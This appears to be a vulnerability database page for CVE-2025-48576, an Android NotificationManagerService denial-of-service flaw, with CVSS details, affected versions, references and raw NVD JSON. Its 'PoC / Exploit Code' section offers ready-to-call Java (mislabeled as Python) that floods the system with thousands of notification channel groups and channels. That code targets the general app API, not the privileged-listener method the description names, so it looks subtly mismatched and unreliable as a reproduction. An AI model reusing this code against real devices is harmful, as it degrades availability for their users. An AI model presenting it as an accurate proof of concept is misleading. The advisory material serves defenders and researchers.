CVE-2025-48576

Description

In updateNotificationChannelGroupFromPrivilegedListener of NotificationManagerService.java, there is a possible permanent denial of service due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:* - VULNERABLE

Android Framework < 2025-12-01 security patch level

AOSP frameworks/base affected prior to commit b812baa1463c9f9e81efa617c9d08ed7a63488b4

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-48576 PoC - Android NotificationManagerService Resource Exhaustion
// This PoC demonstrates resource exhaustion via notification channel group creation

import android.app.NotificationChannel;
import android.app.NotificationChannelGroup;
import android.app.NotificationManager;
import android.content.Context;

public class CVE202548576Poc {
    private static final String CHANNEL_GROUP_PREFIX = "MaliciousGroup_";
    private static final String CHANNEL_PREFIX = "MaliciousChannel_";
    
    public static void exploit(Context context) {
        NotificationManager notificationManager = 
            (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);
        
        // Create large number of notification channel groups to exhaust resources
        for (int i = 0; i < 10000; i++) {
            try {
                // Create notification channel group
                NotificationChannelGroup group = new NotificationChannelGroup(
                    CHANNEL_GROUP_PREFIX + i,
                    "Malicious Group " + i
                );
                notificationManager.createNotificationChannelGroup(group);
                
                // Create multiple channels in each group
                for (int j = 0; j < 10; j++) {
                    NotificationChannel channel = new NotificationChannel(
                        CHANNEL_PREFIX + i + "_" + j,
                        "Malicious Channel " + i + "_" + j,
                        NotificationManager.IMPORTANCE_HIGH
                    );
                    channel.setGroup(CHANNEL_GROUP_PREFIX + i);
                    notificationManager.createNotificationChannel(channel);
                }
                
                if (i % 100 == 0) {
                    // Log progress to track exhaustion
                    android.util.Log.d("CVE-2025-48576", "Created " + i + " groups");
                }
            } catch (Exception e) {
                android.util.Log.e("CVE-2025-48576", "Error at " + i, e);
            }
        }
    }
}

// Usage: Call CVE202548576Poc.exploit(getApplicationContext()) to trigger vulnerability

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-48576
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-48576
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-48576/
[4] VulDB https://vuldb.com/cve/CVE-2025-48576
[5] https://android.googlesource.com/platform/frameworks/base/+/b812baa1463c9f9e81efa617c9d08ed7a63488b4
[6] https://source.android.com/security/bulletin/2025-12-01

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-48576", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:15.367", "lastModified": "2025-12-10T19:33:05.677", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In updateNotificationChannelGroupFromPrivilegedListener of NotificationManagerService.java, there is a possible permanent denial of service due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:*", "matchCriteriaId": "02882AB1-7993-47DD-84A0-8DF4272D85ED"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/frameworks/base/+/b812baa1463c9f9e81efa617c9d08ed7a63488b4", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}